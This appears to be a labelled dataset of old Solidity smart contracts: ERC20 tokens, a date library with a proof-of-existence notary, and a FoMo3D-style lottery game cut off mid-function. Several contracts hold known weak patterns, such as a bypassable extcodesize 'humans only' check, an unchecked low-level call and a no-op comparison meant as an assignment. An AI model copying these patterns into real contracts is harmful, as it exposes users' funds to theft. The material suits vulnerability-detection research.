function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
contract Investoken is BurnableToken {
string public constant name = "Investoken";
string public constant symbol = "IVT";
uint public constant decimals = 18;
uint256 public constant initialSupply = 21000000000 * (10 ** uint256(decimals));
function Investoken () {
totalSupply = initialSupply;
balances[msg.sender] = initialSupply;
allowedAddresses[owner] = true;
}
} | 1 | 2,571 |
pragma solidity ^0.4.24;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract MILLENNIUM is StandardToken {
function () {
throw;
}
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
function MILLENNIUM(
) {
balances[msg.sender] = 499000000000000000000000;
totalSupply = 499000000000000000000000;
name = "MILLENNIUM";
decimals = 18;
symbol = "MILL";
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 | 2,913 |
pragma solidity ^0.4.2;
contract DateTime {
struct DateTime {
uint16 year;
uint8 month;
uint8 day;
uint8 hour;
uint8 minute;
uint8 second;
uint8 weekday;
}
uint constant DAY_IN_SECONDS = 86400;
uint constant YEAR_IN_SECONDS = 31536000;
uint constant LEAP_YEAR_IN_SECONDS = 31622400;
uint constant HOUR_IN_SECONDS = 3600;
uint constant MINUTE_IN_SECONDS = 60;
uint16 constant ORIGIN_YEAR = 1970;
function isLeapYear(uint16 year) constant returns (bool) {
if (year % 4 != 0) {
return false;
}
if (year % 100 != 0) {
return true;
}
if (year % 400 != 0) {
return false;
}
return true;
}
function leapYearsBefore(uint year) constant returns (uint) {
year -= 1;
return year / 4 - year / 100 + year / 400;
}
function getDaysInMonth(uint8 month, uint16 year) constant returns (uint8) {
if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {
return 31;
}
else if (month == 4 || month == 6 || month == 9 || month == 11) {
return 30;
}
else if (isLeapYear(year)) {
return 29;
}
else {
return 28;
}
}
function parseTimestamp(uint timestamp) internal returns (DateTime dt) {
uint secondsAccountedFor = 0;
uint buf;
uint8 i;
dt.year = getYear(timestamp);
buf = leapYearsBefore(dt.year) - leapYearsBefore(ORIGIN_YEAR);
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * buf;
secondsAccountedFor += YEAR_IN_SECONDS * (dt.year - ORIGIN_YEAR - buf);
uint secondsInMonth;
for (i = 1; i <= 12; i++) {
secondsInMonth = DAY_IN_SECONDS * getDaysInMonth(i, dt.year);
if (secondsInMonth + secondsAccountedFor > timestamp) {
dt.month = i;
break;
}
secondsAccountedFor += secondsInMonth;
}
for (i = 1; i <= getDaysInMonth(dt.month, dt.year); i++) {
if (DAY_IN_SECONDS + secondsAccountedFor > timestamp) {
dt.day = i;
break;
}
secondsAccountedFor += DAY_IN_SECONDS;
}
dt.hour = getHour(timestamp);
dt.minute = getMinute(timestamp);
dt.second = getSecond(timestamp);
dt.weekday = getWeekday(timestamp);
}
function getYear(uint timestamp) constant returns (uint16) {
uint secondsAccountedFor = 0;
uint16 year;
uint numLeapYears;
year = uint16(ORIGIN_YEAR + timestamp / YEAR_IN_SECONDS);
numLeapYears = leapYearsBefore(year) - leapYearsBefore(ORIGIN_YEAR);
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * numLeapYears;
secondsAccountedFor += YEAR_IN_SECONDS * (year - ORIGIN_YEAR - numLeapYears);
while (secondsAccountedFor > timestamp) {
if (isLeapYear(uint16(year - 1))) {
secondsAccountedFor -= LEAP_YEAR_IN_SECONDS;
}
else {
secondsAccountedFor -= YEAR_IN_SECONDS;
}
year -= 1;
}
return year;
}
function getMonth(uint timestamp) constant returns (uint8) {
return parseTimestamp(timestamp).month;
}
function getDay(uint timestamp) constant returns (uint8) {
return parseTimestamp(timestamp).day;
}
function getHour(uint timestamp) constant returns (uint8) {
return uint8((timestamp / 60 / 60) % 24);
}
function getMinute(uint timestamp) constant returns (uint8) {
return uint8((timestamp / 60) % 60);
}
function getSecond(uint timestamp) constant returns (uint8) {
return uint8(timestamp % 60);
}
function getWeekday(uint timestamp) constant returns (uint8) {
return uint8((timestamp / DAY_IN_SECONDS + 4) % 7);
}
function toTimestamp(uint16 year, uint8 month, uint8 day) constant returns (uint timestamp) {
return toTimestamp(year, month, day, 0, 0, 0);
}
function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour) constant returns (uint timestamp) {
return toTimestamp(year, month, day, hour, 0, 0);
}
function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute) constant returns (uint timestamp) {
return toTimestamp(year, month, day, hour, minute, 0);
}
function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute, uint8 second) constant returns (uint timestamp) {
uint16 i;
for (i = ORIGIN_YEAR; i < year; i++) {
if (isLeapYear(i)) {
timestamp += LEAP_YEAR_IN_SECONDS;
}
else {
timestamp += YEAR_IN_SECONDS;
}
}
uint8[12] memory monthDayCounts;
monthDayCounts[0] = 31;
if (isLeapYear(year)) {
monthDayCounts[1] = 29;
}
else {
monthDayCounts[1] = 28;
}
monthDayCounts[2] = 31;
monthDayCounts[3] = 30;
monthDayCounts[4] = 31;
monthDayCounts[5] = 30;
monthDayCounts[6] = 31;
monthDayCounts[7] = 31;
monthDayCounts[8] = 30;
monthDayCounts[9] = 31;
monthDayCounts[10] = 30;
monthDayCounts[11] = 31;
for (i = 1; i < month; i++) {
timestamp += DAY_IN_SECONDS * monthDayCounts[i - 1];
}
timestamp += DAY_IN_SECONDS * (day - 1);
timestamp += HOUR_IN_SECONDS * (hour);
timestamp += MINUTE_IN_SECONDS * (minute);
timestamp += second;
return timestamp;
}
}
contract ProofOfExistence {
mapping (string => uint) private proofs;
function uintToBytes(uint v) constant returns (bytes32 ret) {
if (v == 0) {
ret = '0';
}
else {
while (v > 0) {
ret = bytes32(uint(ret) / (2 ** 8));
ret |= bytes32(((v % 10) + 48) * 2 ** (8 * 31));
v /= 10;
}
}
return ret;
}
function bytes32ToString(bytes32 x) constant returns (string) {
bytes memory bytesString = new bytes(32);
uint charCount = 0;
for (uint j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
return string(bytesStringTrimmed);
}
function uintToString(uint16 x) constant returns (string) {
bytes32 a = uintToBytes(x);
return bytes32ToString(a);
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string){
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
function notarize(string sha256) {
if ( bytes(sha256).length == 64 ){
if ( proofs[sha256] == 0 ){
proofs[sha256] = block.timestamp;
}
}
}
function verify(string sha256) constant returns (uint,uint16,uint16,uint16,uint16,uint16) {
var timestamp = proofs[sha256];
if ( timestamp == 0 ){
return (timestamp,0,0,0,0,0);
}else{
DateTime dt = DateTime(msg.sender);
uint16 year = dt.getYear(timestamp);
uint16 month = dt.getMonth(timestamp);
uint16 day = dt.getDay(timestamp);
uint16 hour = dt.getHour(timestamp);
uint16 minute = dt.getMinute(timestamp);
uint16 second = dt.getSecond(timestamp);
return (timestamp,year, month,day,hour,minute);
}
}
function getYear( uint timestamp ) constant returns (uint16){
DateTime dt = DateTime(msg.sender);
return dt.getYear( timestamp );
}
} | 0 | 101 |
pragma solidity ^0.4.24;
interface DiviesInterface {
function deposit() external payable;
}
interface otherFoMo3D {
function potSwap() external payable;
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getPlayerLevel(uint256 _pID) external view returns (uint8);
function getNameFee() external view returns (uint256);
function deposit() external payable returns (bool);
function updateRankBoard( uint256 _pID, uint256 _cost ) external;
function resolveRankBoard() external;
function setPlayerAffID(uint256 _pID,uint256 _laff) external;
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all, uint8 _level) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all, uint8 _level) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all, uint8 _level) external payable returns(bool, uint256);
}
interface HourglassInterface {
function() payable external;
function buy(address _playerAddress) payable external returns(uint256);
function sell(uint256 _amountOfTokens) external;
function reinvest() external;
function withdraw() external;
function exit() external;
function dividendsOf(address _playerAddress) external view returns(uint256);
function balanceOf(address _playerAddress) external view returns(uint256);
function transfer(address _toAddress, uint256 _amountOfTokens) external returns(bool);
function stakingRequirement() external view returns(uint256);
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
library UintCompressor {
using SafeMath for *;
function insert(uint256 _var, uint256 _include, uint256 _start, uint256 _end)
internal
pure
returns(uint256)
{
require(_end < 77 && _start < 77, "start/end must be less than 77");
require(_end >= _start, "end must be >= start");
_end = exponent(_end).mul(10);
_start = exponent(_start);
require(_include < (_end / _start));
if (_include > 0)
_include = _include.mul(_start);
return((_var.sub((_var / _start).mul(_start))).add(_include).add((_var / _end).mul(_end)));
}
function extract(uint256 _input, uint256 _start, uint256 _end)
internal
pure
returns(uint256)
{
require(_end < 77 && _start < 77, "start/end must be less than 77");
require(_end >= _start, "end must be >= start");
_end = exponent(_end).mul(10);
_start = exponent(_start);
return((((_input / _start).mul(_start)).sub((_input / _end).mul(_end))) / _start);
}
function exponent(uint256 _position)
private
pure
returns(uint256)
{
return((10).pwr(_position));
}
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library OPKKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
library OPKdatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 OPKAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
uint8 level;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 opk;
}
struct PotSplit {
uint256 gen;
uint256 opk;
}
}
contract OPKevents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 OPKAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 OPKAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 OPKAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 OPKAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint8 level,
uint256 timeStamp
);
event onAffiliateDistribute
(
uint256 from,
address from_addr,
uint256 to,
address to_addr,
uint8 level,
uint256 fee,
uint256 timeStamp
);
event onAffiliateDistributeLeft
(
uint256 pID,
uint256 leftfee
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
event onDistributeRegisterFee
(
uint256 affiliateID,
bytes32 name,
uint8 level,
uint256 fee,
uint256 communityFee,
uint256 opkFee,
uint256 refererFee,
uint256 referPotFee
);
}
contract OkamiPKlong is OPKevents {
using SafeMath for *;
using NameFilter for string;
using OPKKeysCalcLong for uint256;
otherFoMo3D private otherOPK_;
DiviesInterface constant private Divies = DiviesInterface(0xD2344f06ce022a7424619b2aF222e71b65824975);
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xC4665811782e94d0F496C715CA38D02dC687F982);
address private Community_Wallet1 = 0x52da4d1771d1ae96a3e9771D45f65A6cd6f265Fe;
address private Community_Wallet2 = 0x00E7326BB568b7209843aE8Ee4F6b3268262df7d;
string constant public name = "Okami PK Long Official";
string constant public symbol = "Okami";
uint256 private rndExtra_ = 15 seconds;
uint256 private rndGap_ = 1 hours;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => OPKdatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => OPKdatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => OPKdatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => OPKdatasets.TeamFee) public fees_;
mapping (uint256 => OPKdatasets.PotSplit) public potSplit_;
mapping (uint8 => uint256) public levelValue_;
mapping (uint8 => uint8) public levelRate_;
mapping (uint8 => uint8) public levelRate2_;
constructor()
public
{
levelValue_[3] = 0.01 ether;
levelValue_[2] = 1 ether;
levelValue_[1] = 5 ether;
levelRate_[3] = 5;
levelRate_[2] = 3;
levelRate_[1] = 2;
fees_[0] = OPKdatasets.TeamFee(30,6);
fees_[1] = OPKdatasets.TeamFee(43,0);
fees_[2] = OPKdatasets.TeamFee(56,10);
fees_[3] = OPKdatasets.TeamFee(43,8);
potSplit_[0] = OPKdatasets.PotSplit(15,10);
potSplit_[1] = OPKdatasets.PotSplit(25,0);
potSplit_[2] = OPKdatasets.PotSplit(20,20);
potSplit_[3] = OPKdatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
require (_addr == tx.origin);
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isValidLevel(uint8 _level) {
require(_level >= 0 && _level <= 3, "invalid level");
require(msg.value >= levelValue_[_level], "sorry request price less than affiliate level");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
modifier onlyDevs(){
require(
msg.sender == 0x00A32C09c8962AEc444ABde1991469eD0a9ccAf7 ||
msg.sender == 0x00aBBff93b10Ece374B14abb70c4e588BA1F799F,
"only dev"
);
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
OPKdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
OPKdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (plyr_[_pID].laff == 0)
{
plyr_[_pID].laff = _affID;
PlayerBook.setPlayerAffID(_pID, _affID);
}else {
_affID = plyr_[_pID].laff;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
OPKdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (plyr_[_pID].laff == 0)
{
plyr_[_pID].laff = _affID;
}else {
_affID = plyr_[_pID].laff;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
OPKdatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit OPKevents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.OPKAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit OPKevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function distributeRegisterFee(uint256 _fee, uint256 _affID, bytes32 _name, uint8 _level)
private
{
uint256 _com = _fee * 3 / 10;
uint256 _opk = _fee * 3 / 10;
uint256 _ref;
if (_affID > 0) {
_ref = _fee * 3 / 10;
plyr_[_affID].aff = _ref.add(plyr_[_affID].aff);
}else {
_opk += _fee * 3 / 10;
}
Divies.deposit.value(_opk)();
uint256 _refPot = _fee - _com - _opk - _ref;
PlayerBook.deposit.value(_refPot)();
emit OPKevents.onDistributeRegisterFee(_affID,_name,_level,_fee,_com, _opk,_ref,_refPot);
return;
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all, uint8 _level)
isHuman()
isValidLevel(_level)
public
payable
{
bytes32 _name = _nameString.nameFilter();
uint _fee = msg.value;
uint _com = msg.value * 3 / 10;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(_com)(msg.sender, _name, _affCode, _all, _level);
distributeRegisterFee(_fee,_affID,_name,_level);
reloadPlayerInfo(msg.sender);
emit OPKevents.onNewName(pIDxAddr_[msg.sender], msg.sender, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _com, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function isRoundActive(uint256 _rID)
public
view
returns(bool)
{
if( activated_ == false )
{
return false;
}
return (now > round_[_rID].strt + rndGap_ && (now <= round_[_rID].end || (now > round_[_rID].end && round_[_rID].plyr == 0))) ;
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
0
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256, uint8, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth,
plyr_[_pID].level,
plyr_[_pID].laff
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, OPKdatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit OPKevents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.OPKAmount,
_eventData_.genAmount
